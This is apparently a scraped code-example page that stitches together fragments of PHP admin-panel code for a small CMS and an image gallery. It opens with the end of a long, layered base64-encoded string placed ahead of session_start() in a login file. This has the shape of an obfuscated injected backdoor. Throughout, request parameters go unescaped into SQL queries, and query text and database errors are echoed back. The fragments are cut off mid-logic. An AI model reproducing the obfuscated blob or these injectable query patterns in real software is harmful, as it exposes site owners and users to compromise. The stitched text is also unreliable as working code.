nRhRnBOYms1d1V6Rk9jMDR3VG5SWGFrWnBZbFUwZDFsV1l6VmtWV3hIWTBVMVQxWXlPVFZaTVZKRFpXMUdTRmR0V2xwTmExcDZXV3RrUzJGR2EzbGpNamxMVWpCdmVGZHRiSE5PTUU1MFlrY3hTbEV5YUhaWGJHUkhZVEZ3V1ZOdWNGbE5NRFZ6V1cwMVVtSXdkRlJpUkdSRVlsZDRkRk5WVG05alIwcHpUMWRvYW1KcmNHOWFWazV1WVZaRmVVOVlWbXRTTVZveFdrVk5lRkp0U25SVWJscGhVako0TVZkdWNIWmFNVzk2WTBoQ2FsRXdiSHBUVldSdllrWnNXRlZ0ZUdwaWF6VnRXV3RrYzJWdFVrUmFNMEpNVlRKM00xRXliRk5OUjBwWlVXMHhhV0pWV2pCWGJFNUNUMVZzU1ZWdGVHbFhSVW94VjFaamQySXlVa2RQVjNSb1YwVnNkbE14VGpOYU1HeHlWMnhDVldWVmJIZFVNMnhUVG14d2NGRlViRXBTTVhBeVdUQmtWMlJWZEVSVmFrSnBWMFZLZEZsdE1VZGtSbkJVWkRKa1NtSnRUbkJUTVZKNldqRndkVkZxUm10VFJURjJVMnRvZDJKVmVFUlJWM1JhWW14YWRGTXhVbnBhTVhCMFZHNU9hVTB3TlhOVE1FNVRUbXh3Y0dGNlpFcFJNVWt5VjJ0T1FrOVZiRWhhUkZwcFRUQktjMWx0Ykc1aE1sSklUVmhrWVdKVVZtOVpiR1JXWXpCc1JGTnViRXBoVjNNelUydGtUMlJ0U25WVmJYaHBZbXhLTmxOVlVYZGFNVzk2WTBoc1lWWXdXbkpUTUU1VFRteHdSR1F5WkU1V1JVWXpWRlZTUW1Rd01VVlJXRUpRWlZaS2NWbHFTVEZOUm5CWVRsUkNhbVZWUlRWVFZWcDNWR3MxV0dJemJHcFdSVW8yV1ZWa1lWcHRTbGhQVjNSWlRXczFNbGx0Ykc1aE1XdDVUMWhXYTFJeFdqRmFSV2hPWTBVNGVWcEVXbHBOYm1neVdYcEtWbUl3Y0VsalIzUk1Wa2hSZUZsdE1UUmpSMHAwWXpJNVMxTkdTakJaTUdSaFpGWnNXRTFYZUV4V1NFNXlWMVJKTldSWFVraFdibFpyVTBVeGJsVkdUa05pYlZaMFZtNVdXazFxYkhKWGJFNXVZVEZyZVU5WVZtdFNNVm94V2tWb1RtTkZPSHBOUjJSaFZqTm9ObGRzVGtOT01IQklWRzVhYVdKc1NuTlpiVFZUWld0c1JVMUhaRmhoZWtGNFdWZHdTMlZGTVVsVWJUbGhZa1JzTUZscVNsTmFiR3Q1VDFoV1RGRXhTbkJhUm1SYVkwVTVOVkZxYkcxVk1FcHpXV3RvVDJKRmJFbGpNblJhVFdwc01WcEZaRmRrVjFKSlZGZGtVVlV3U21oV1JsSlhZMVV4ZFZKWVpHcE5iV2gwVjBSSmVHUnNjRWRQVjNCcFRXcFNkbE5yWkV0TlZuQndZWHBrYlZkRmNITmFSV2hYWlZkS2NGb3lkRnBOYW13eFdrVmtWMlJYVWtsVVdFSlFaRE5CTlZFeU5IZFRNR3hDWTBoYVdtSkViRFphUldSSFpWZFNSRm95YkZoaGVrRjRXVmR3UzJWRk1VbFViVGxoWWtSc2NWZFdaRFJqTVd4MFVtMXdhR1ZWYkhkVU0yUjJVekphVW1ORWJFUmlha0pNU1dscmNFOTVRVDBpS1NrN0lBPT0iKSk7IA==');
session_start();
require_once "../config.php";
require_once $FOLDER->class . "/class.mysql.php";
require_once $FOLDER->class . "/class.session.php";
if (isset($_GET['options'])) {
    $options = preg_replace('#[^a-z]+#i', '', $_GET['options']);
}
/* $languages = new language_set();
$lang = $languages->session_set(); */
$db = new mysql();
$SQL = $db->query("Select * From " . TABLE_SETTINGS . "");
$Row = $db->fetch($SQL);
define("TITLE", $Row[0]);
define("INDEX_PAGE_ID", $Row[1]);
define("DEFAULT_LANGUAGE", $Row[2]);
if (isset($_GET[language])) {
    $_SESSION[adminlang] = mysql_real_escape_string(strip_tags($_GET[language]));
}
$lang = isset($_SESSION[adminlang]) ? $_SESSION[adminlang] : DEFAULT_LANGUAGE;
$Yoxla = mysql_fetch_array($db->query("select * from " . TABLE_ADMINKA . " where username='******' and pass='******'"));
if ($Yoxla) {
    $_SESSION['UserAdmin'] = $_POST[login];
}
if ($_GET['logout'] == 'yes') {
    unset($_SESSION["UserAdmin"]);
    unset($_SESSION["adminlang"]);
    echo "<script>document.location='index.php</script>";
示例#11
0
文件: jimage.php 项目: Teleta/ld-art
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
switch ($_REQUEST['q']) {
    case "delete":
        $q = "DELETE FROM `" . PREF . "values`\n\t\tWHERE value_id='" . $_REQUEST['pid'] . "'\n\t\tLIMIT 1";
        $sql->query($q);
        $q = "DELETE FROM `" . PREF . "kvi_links`\n\t\tWHERE link_value='" . $_REQUEST['pid'] . "'\n\t\tLIMIT 1";
        $sql->query($q);
        $GLOBALS['_RESULT'] = array('q' => mysql_error());
        break;
    case "newrow":
        $q = "SELECT MAX(v.value_sort) AS max\n\t\t\tFROM `" . PREF . "kvi_links` AS ln, `" . PREF . "values` AS v\n\t\t\tWHERE ln.link_value=v.value_id AND ln.link_img='" . $_REQUEST['id'] . "'";
        $max = $sql->fetch($sql->query($q));
        $q = "INSERT INTO `" . PREF . "values`\n\t\tVALUES (NULL, '" . mysql_real_escape_string($_REQUEST['eng']) . "', '" . mysql_real_escape_string($_REQUEST['rus']) . "', '" . ($max['max'] ? $max['max'] + 1 : '1') . "')";
        $res = $sql->query($q);
        $my_id = mysql_insert_id();
        $q = "INSERT INTO `" . PREF . "kvi_links`\n\t\tVALUES ('" . $_REQUEST['id'] . "', '" . $_REQUEST['key'] . "', '" . $my_id . "')";
        $res = $sql->query($q);
        $GLOBALS['_RESULT'] = array('id' => $my_id, 'ok' => true);
        break;
    case "edit":
        $q = "UPDATE `" . PREF . "values` SET\n\t\t\tvalue_name_eng='" . mysql_real_escape_string($_REQUEST['e']) . "', value_name_rus='" . mysql_real_escape_string($_REQUEST['r']) . "'\n\t\t\tWHERE value_id='" . $_REQUEST['id'] . "'\n\t\t\tLIMIT 1";
        $res = $sql->query($q);
        $q = "UPDATE `" . PREF . "kvi_links` SET link_key='" . $_REQUEST['key'] . "'\n\t\t\tWHERE link_value='" . $_REQUEST['id'] . "'\n\t\t\tLIMIT 1";
        $res = $sql->query($q);
        break;
    case "resize":
        //var_dump($_REQUEST);
示例#12
0
<?php

$db = new mysql();
$Sql = $db->query("Select * From " . TABLE_PAGES . " Where id='{$id}' AND lang_id='{$lang}'");
$Row = $db->fetch($Sql);
if ($_POST['add'] == "yes") {
    if (isset($_POST['link'])) {
        $_POST[link] = mysql_real_escape_string(strip_tags($_POST[link])) . '##' . mysql_real_escape_string(strip_tags($_POST[p]));
        $db->query("UPDATE " . TABLE_PAGES . " SET pagename='" . protect($_POST['pagename']) . "', link='" . $_POST['link'] . "'  WHERE id='{$_POST['uid']}' AND lang_id='{$lang}'");
        $db->query("UPDATE " . TABLE_PAGES . " SET type='" . $_POST['type'] . "'  WHERE id='{$_POST['uid']}'");
        echo "<script>document.location='index.php'</script>";
    } else {
        if (isset($_POST['news'])) {
            $db->query("UPDATE " . TABLE_PAGES . " SET pagename='" . protect($_POST['pagename']) . "' WHERE id='{$_POST['uid']}' AND lang_id='{$lang}'");
            $db->query("UPDATE " . TABLE_PAGES . " SET type='" . $_POST['type'] . "'  WHERE id='{$_POST['uid']}'");
            echo "<script>document.location='index.php'</script>";
        } else {
            if (get_magic_quotes_gpc()) {
            } else {
                $_POST[content] = mysql_real_escape_string($_POST['content']);
            }
            $db->query("UPDATE " . TABLE_PAGES . " SET pagename='" . protect($_POST['pagename']) . "', content='" . $_POST[content] . "'  WHERE id='{$_POST['uid']}' AND lang_id='{$lang}'");
            $db->query("UPDATE " . TABLE_PAGES . " SET type='" . $_POST['type'] . "'  WHERE id='{$_POST['uid']}'");
            echo "<script>document.location='index.php'</script>";
        }
    }
}
if ($_GET['action'] == "delete") {
    $db->query("DELETE From " . TABLE_PAGES . " WHERE sub_id='" . $id . "'");
    $db->query("DELETE From " . TABLE_PAGES . " WHERE id='" . $id . "'");
    $new_archive_id = $id + 120;
示例#13
0
<?php

if ($_POST['add'] == "yes") {
    $db = new mysql();
    $result2 = $db->query("Select * From " . TABLE_LANGUAGES . "");
    $get_old_id = $db->fetch($db->query("SELECT id FROM " . TABLE_PAGES . " ORDER BY id DESC LIMIT 1"));
    $new_id = $get_old_id[0] + 1;
    $get_old_order = $db->fetch($db->query("SELECT ordering FROM " . TABLE_PAGES . " ORDER BY ordering DESC LIMIT 1"));
    $new_order = $get_old_order[0] + 1;
    if ($_POST['subid'] == "0") {
        $sub = "0";
    } else {
        $sub = $_POST['subid'];
    }
    while ($arr = mysql_fetch_array($result2)) {
        $t = $arr[1];
        $result = $db->query("INSERT INTO " . TABLE_PAGES . " VALUES (\r\n\t\t\t\t'{$new_id}',\r\n\t\t\t\t'{$sub}', \r\n\t\t\t\t'" . $_POST['pagename_' . $t] . "', \r\n\t\t\t\t'{$content}' , \r\n\t\t\t\t'" . ADDDATE . "' , \r\n\t\t\t\t'0' , \r\n\t\t\t\t'{$arr['1']}', \r\n\t\t\t\t'{$_POST['visibility']}', \r\n\t\t\t\t'', \r\n\t\t\t\t'{$_POST['type']}', \r\n\t\t\t\t'top',\r\n\t\t\t\t'{$new_order}',\r\n\t\t\t\t''\r\n\t\t)");
    }
    echo "<script>document.location='index.php'</script>";
}
示例#14
0
文件: jlinks.php 项目: Teleta/ld-art
error_reporting(0);
require_once "../cfg.php";
require_once ROOT . "/classes/adm_authorize.php";
// Load JsHttpRequest backend.
require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php";
$sql = new mysql($sql);
$auth = new adm_authorize($sql);
// Create main library object. You MUST specify page encoding!
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
switch ($_REQUEST['q']) {
    case "newrow":
        $sort = $sql->fetch($sql->query("SELECT MAX(sort) AS max FROM `" . PREF . "links`"));
        $res = $sql->query("INSERT INTO `" . PREF . "links` VALUES (NULL, '" . mysql_real_escape_string($_REQUEST['url']) . "', '" . mysql_real_escape_string($_REQUEST['eng']) . "', '" . mysql_real_escape_string($_REQUEST['rus']) . "', '" . ($sort['max'] + 1) . "')");
        $GLOBALS['_RESULT'] = array("id" => mysql_insert_id(), "ok" => true);
        break;
    case "delete":
        $sql->query("DELETE FROM `" . PREF . "links` WHERE id='" . $_REQUEST['pid'] . "'");
        $GLOBALS['_RESULT'] = array();
        break;
    case "edit":
        $q = array();
        if ($_REQUEST['url'] != '') {
            $q[] = "url='" . mysql_real_escape_string($_REQUEST['url']) . "'";
        } else {
            echo 'no url !!!';
            return false;
        }
示例#15
0
<?php

error_reporting(0);
require_once "../cfg.php";
require_once ROOT . "/classes/adm_authorize.php";
// Load JsHttpRequest backend.
require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php";
$sql = new mysql($sql);
$auth = new adm_authorize($sql);
// Create main library object. You MUST specify page encoding!
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
$f = $sql->fetch($sql->query("SELECT img_filename AS fname, img_project_id AS pid, img_order AS ord\n\tFROM `" . PREF . "img`\n\tWHERE img_id='" . $_REQUEST['img'] . "' LIMIT 1"));
$oldname = $f['fname'];
while (file_exists(ROOT . "/images/" . $f['fname'] . ".jpg")) {
    $f['fname'] = md5(md5(rand(0, 1000000)) . $f['fname'] . md5(rand(0, 100000)));
}
$query = "UPDATE `" . PREF . "img`\n\tSET img_project_id='0', img_order='0', img_filename='" . $f['fname'] . "'\n\tWHERE img_id='" . $_REQUEST['img'] . "'";
if (!$sql->query($query)) {
    echo mysql_error();
} else {
    rename(ROOT . "/images/" . $oldname . ".jpg", ROOT . "/images/unsorted/" . $f['fname'] . ".jpg");
    rename(ROOT . "/images/thumb_" . $oldname . ".jpg", ROOT . "/images/unsorted/thumb_" . $f['fname'] . ".jpg");
    $sql->query("UPDATE `" . PREF . "img`\n\tSET img_order=img_order-1 WHERE img_project_id='" . $f['pid'] . "' AND img_order > '" . $f['ord'] . "'");
}
示例#16
0
<?php

if ($_POST['add'] == "yes") {
    $db = new mysql();
    $pass = md5($_POST['pass']);
    $usr = trim($_POST['username']);
    $nums = $db->num($db->query("SELECT * FROM " . TABLE_ADMINKA . " Where username like '{$usr}'"));
    if ($nums > 0) {
        $_SESSION['error_admin'] = "This user uje var :)";
        echo "<script>document.location='index.php?options=users&action=error'</script>";
        exit;
    }
    $get_old_id = $db->fetch($db->query("SELECT id FROM " . TABLE_ADMINKA . " ORDER BY id DESC LIMIT 1"));
    $new_id = $get_old_id[0] + 1;
    $result = $db->query("INSERT INTO " . TABLE_ADMINKA . " VALUES (\r\n\t\t'{$new_id}', \r\n\t\t'" . trim($_POST['username']) . "', \r\n\t\t'" . $pass . "')");
    echo "<script>document.location='index.php?options=users'</script>";
}
if ($_GET['action'] == "delete") {
    $db->query("DELETE From " . TABLE_ADMINKA . " WHERE id='" . $id . "'");
    echo "<script>document.location='index.php?options=users'</script>";
}
if ($_GET[action] == "edit") {
    $pass = md5($_POST['pass']);
    $db->query("UPDATE " . TABLE_ADMINKA . " SET pass='******' WHERE id='" . $_POST[uid] . "'");
    echo "<script>document.location='index.php?options=users'</script>";
}
示例#17
0
require_once "../cfg.php";
require_once ROOT . "/classes/adm_authorize.php";
// Load JsHttpRequest backend.
require_once ROOT . "/classes/JsHttpRequest/JsHttpRequest.php";
$sql = new mysql($sql);
$auth = new adm_authorize($sql);
// Create main library object. You MUST specify page encoding!
$JsHttpRequest = new JsHttpRequest("windows-1251");
if (!$auth->check()) {
    $GLOBALS['_RESULT'] = array("q" => "You are not logged in");
    exit;
}
$error = 0;
switch ($_REQUEST['q']) {
    case "update":
        $r = $sql->fetch($sql->query("SELECT MAX(p_order) AS max FROM `" . PREF . "projects` WHERE p_cat_id='" . mysql_real_escape_string($_REQUEST['cat']) . "'"));
        $r2 = $sql->fetch($sql->query("SELECT p_cat_id AS cat FROM `" . PREF . "projects` WHERE p_id='" . mysql_real_escape_string($_REQUEST['id']) . "' LIMIT 1"));
        $q = "UPDATE `" . PREF . "projects`\n\t\t\tSET p_name_r='" . mysql_real_escape_string($_REQUEST['nr']) . "',\n\t\t\tp_name_e='" . mysql_real_escape_string($_REQUEST['ne']) . "',\n\t\t\tp_cat_id='" . mysql_real_escape_string($_REQUEST['cat']) . "'" . ($r2['cat'] != $_REQUEST['cat'] ? ", p_order='" . ($r['max'] + 1) . "'" : '') . "\n\t\t\tWHERE p_id='" . mysql_real_escape_string($_REQUEST['id']) . "' LIMIT 1";
        $sql->query($q);
        echo mysql_error();
        echo $q;
        break;
    case "fillselect":
        $keys = $values = array();
        $sql->query("SELECT * FROM `" . PREF . "category` ORDER BY `cat_id`");
        while ($row = $sql->fetch()) {
            $keys[] = $row['cat_id'];
            $values[] = $row['cat_name_eng'] . " | " . $row['cat_name_rus'];
        }
        $GLOBALS['_RESULT'] = array('k' => $keys, 'v' => $values);
        break;
示例#18
0
<?php

if ($_POST['add'] == "yes") {
    $db = new mysql();
    $qR = $db->query("SELECT `mail` FROM `" . TABLE_MAIL . "`");
    $get_old_id = $db->fetch($db->query("SELECT news_id FROM " . TABLE_NEWS . "  ORDER BY news_id DESC LIMIT 1"));
    $new_id = $get_old_id[0] + 1;
    $created = $_POST[year] . "-" . $_POST[month] . "-" . $_POST[day];
    $crtime = date('H:i:s');
    if ($_POST['imgs'] == "yes") {
        $new_name = $new_id . time() . date('dmy');
        $target = "../files/news/";
        $target = $target . basename("{$new_name}.jpg");
        $imgname = $_FILES['image']['tmp_name'];
        copy($imgname, $target);
        $thumb = "{$new_name}.jpg";
    } else {
        $thumb = "";
    }
    $db->query("INSERT INTO " . TABLE_NEWS . " VALUES (\r\n\t\t'" . $_POST['page_id'] . "', \r\n\t\t'" . $new_id . "',\r\n\t\t'" . protect($_POST['title']) . "', \r\n\t\t'" . protect($_POST['sh_desc']) . "',\r\n\t\t'" . mysql_real_escape_string($_POST['content']) . "' , \r\n\t\t'" . $thumb . "' ,\r\n\t\t'" . $lang . "' , \r\n\t\t'" . $created . "' ,\r\n\t\t'" . $crtime . "' ,\r\n\t\t'')");
    if (!empty($qR)) {
        $headers = 'MIME-Version: 1.0' . "\r\n";
        $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
        $headers .= 'From: ' . TITLE . ' <' . MAIN_MAIL . '>' . "\r\n";
        while ($tR = mysql_fetch_object($qR)) {
            mail($tR->mail, $_POST[title], $_POST[content], $headers);
        }
    }
    echo "<script>document.location='index.php?options=news'</script>";
}